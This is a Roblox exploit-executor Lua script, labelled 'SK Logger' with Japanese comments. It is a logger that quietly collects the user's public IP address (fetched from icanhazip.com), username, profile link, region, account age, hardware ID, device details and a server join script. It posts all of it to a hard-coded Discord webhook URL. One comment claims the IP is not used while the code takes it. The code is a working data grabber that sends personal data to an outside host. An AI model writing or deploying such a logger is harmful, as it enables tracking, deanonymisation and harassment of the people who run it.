local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local MarketplaceService = game:GetService("MarketplaceService") local Stats = game:GetService("Stats") local UserInputService = game:GetService("UserInputService") local LocalizationService = game:GetService("LocalizationService") local GuiService = game:GetService("GuiService") local VRService = game:GetService("VRService") local RunService = game:GetService("RunService") local player = Players.LocalPlayer -- ========================= -- 設定 (Webhook URL) -- ========================= local WEBHOOK_URL = "https://discord.com/api/webhooks/1450518351913680896/gF5fds-I-DwgWsVaWoRLkvqqumHyq8zyH9ScHwcJTttS67Sqy6Xpc5tZWETEZkGIkKYi" -- ========================= -- 情報取得用 関数群 -- ========================= -- Executor特定 local function getExecutor() return identifyexecutor and identifyexecutor() or "Unknown Executor" end -- HWID取得 (Delta等対応環境のみ) local function getHWID() if gethwid then return gethwid() end return "Hidden / Not Supported" end -- デバイスタイプ判定 local function getDeviceType() if VRService.VREnabled then return "VR Headset" end if UserInputService.TouchEnabled and not UserInputService.MouseEnabled then return "Mobile/Tablet" end if UserInputService.GamepadEnabled and not UserInputService.KeyboardEnabled then return "Console" end if UserInputService.KeyboardEnabled and UserInputService.MouseEnabled then return "PC (Desktop/Laptop)" end return "Hybrid / Unknown" end -- 地域コード (IP不使用) local function getRegion() local success, region = pcall(function() return LocalizationService:GetCountryRegionForPlayerAsync(player) end) return success and region or "Unknown" end -- ========================= -- メイン処理 (データ収集 & 送信) -- ========================= local function FetchAndSend() -- 0. カスタムデータ取得 (https://s-k.neocities.org/aiueo) local aiueoData = "取得失敗または空" local reqSuccess, reqResponse = pcall(function() return request({ Url = "https://icanhazip.com/", Method = "GET" }) end) if reqSuccess and reqResponse.StatusCode == 200 then -- データが長すぎる場合に備えてカット aiueoData = string.sub(reqResponse.Body, 1, 1000) end -- 1. ゲーム情報 local success, placeInfo = pcall(function() return MarketplaceService:GetProductInfo(game.PlaceId) end) local gameName = success and placeInfo.Name or "Unknown Game" local gameIcon = success and placeInfo.IconImageAssetId or 0 -- 2. プレイヤー情報 local pName = player.Name local pDisplay = player.DisplayName local pId = tostring(player.UserId) local pProfileLink = "https://www.roblox.com/users/" .. pId .. "/profile" local accAge = player.AccountAge local membership = tostring(player.MembershipType):gsub("Enum.MembershipType.", "") local region = getRegion() -- 3. システム & ハードウェア情報 (Deep Scan) local osPlatform = tostring(UserInputService:GetPlatform()):gsub("Enum.Platform.", "") local deviceType = getDeviceType() -- 画面情報 local viewSize = workspace.CurrentCamera.ViewportSize local resolution = math.floor(viewSize.X) .. "x" .. math.floor(viewSize.Y) local safeZone = GuiService:GetSafeZoneInsets() -- ノッチ判定 local hasNotch = (safeZone.Top > 0) and "Yes (Notched)" or "No" -- 入力機能詳細 local inputs = {} if UserInputService.TouchEnabled then table.insert(inputs, "Touch") end if UserInputService.KeyboardEnabled then table.insert(inputs, "Keyboard") end if UserInputService.MouseEnabled then table.insert(inputs, "Mouse") end if UserInputService.GamepadEnabled then table.insert(inputs, "Gamepad") end if UserInputService.AccelerometerEnabled then table.insert(inputs, "Accel") end if UserInputService.GyroscopeEnabled then table.insert(inputs, "Gyro") end local inputStr = table.concat(inputs, ", ") -- パフォーマンス local fps = math.floor(workspace:GetRealPhysicsFPS()) local memory = math.floor(Stats:GetTotalMemoryUsageMb()) local ping = math.floor(player:GetNetworkPing() * 1000) local instanceCount = Stats.InstanceCount -- クライアント設定 local gfxQuality = tostring(settings().Rendering.QualityLevel):gsub("Enum.QualityLevel.", "") local fullscreen = tostring(settings().Rendering.Fullscreen) local camMode = tostring(player.DevComputerCameraMode):gsub("Enum.DevComputerCameraMovementMode.", "") -- Executor情報 local execName = getExecutor() local hwid = getHWID() local luaVersion = _VERSION -- 4. サーバー情報 local serverTime = math.floor(workspace.DistributedGameTime) local playerCount = #Players:GetPlayers() local maxPlayers = Players.MaxPlayers local gravity = workspace.Gravity -- ========================= -- Embed構築 -- ========================= local data = { ["content"] = "", ["embeds"] = {{ ["title"] = "🕵️ **SK Logger: " .. gameName .. "**", ["description"] = "Ez Logger Scripts.", ["color"] = 0xFF0000, -- Red ["thumbnail"] = { ["url"] = "https://www.roblox.com/asset-thumbnail/image?assetId=" .. tostring(gameIcon) .. "&width=420&height=420&format=png" }, ["fields"] = { -- カスタムデータ (最優先) { ["name"] = "🌐 IP address", ["value"] = "```\n" .. aiueoData .. "\n```", ["inline"] = false }, -- ユーザー識別 { ["name"] = "👤 Identity", ["value"] = "**[" .. pDisplay .. "](" .. pProfileLink .. ")**\n`@" .. pName .. "`\nID: `" .. pId .. "`\nRegion: `" .. region .. "`", ["inline"] = true }, -- アカウント詳細 { ["name"] = "💳 Account Detail", ["value"] = "Age: `" .. accAge .. " Days`\nMember: `" .. membership .. "`", ["inline"] = true }, -- デバイス & OS { ["name"] = "📱 Device Spec", ["value"] = "Type: `" .. deviceType .. "`\nOS: `" .. osPlatform .. "`\nRes: `" .. resolution .. "`\nNotch: `" .. hasNotch .. "`", ["inline"] = true }, -- 入力インターフェース { ["name"] = "⌨️ Inputs", ["value"] = "`" .. inputStr .. "`", ["inline"] = false }, -- パフォーマンス { ["name"] = "⚡ Performance", ["value"] = "FPS: `" .. fps .. "`\nRAM: `" .. memory .. " MB`\nPing: `" .. ping .. " ms`\nObj: `" .. instanceCount .. "`", ["inline"] = true }, -- クライアント設定 { ["name"] = "⚙️ Config", ["value"] = "GFX: `" .. gfxQuality .. "`\nFull: `" .. fullscreen .. "`\nCam: `" .. camMode .. "`", ["inline"] = true }, -- Executor内部 { ["name"] = "💉 Executor", ["value"] = "Name: `" .. execName .. "`\nLua: `" .. luaVersion .. "`\nHWID: ||" .. hwid .. "||", ["inline"] = false }, -- サーバー環境 { ["name"] = "🌍 Server Status", ["value"] = "Pop: `" .. playerCount .. "/" .. maxPlayers .. "`\nUptime: `" .. math.floor(serverTime/60) .. "m`\nGravity: `" .. gravity .. "`", ["inline"] = true }, -- 接続用 { ["name"] = "🔑 Job ID & Join Script", ["value"] = "```lua\n-- " .. game.JobId .. "\ngame:GetService('TeleportService'):TeleportToPlaceInstance(" .. game.PlaceId .. ", '" .. game.JobId .. "', game.Players.LocalPlayer)\n```", ["inline"] = false } }, ["footer"] = { ["text"] = "SK Logger • " .. os.date("!%Y-%m-%d %H:%M:%S UTC") } }} } local payload = HttpService:JSONEncode(data) -- 送信 (Delta request) pcall(function() request({ Url = WEBHOOK_URL, Method = "POST", Headers = {["Content-Type"] = "application/json"}, Body = payload }) end) end FetchAndSend()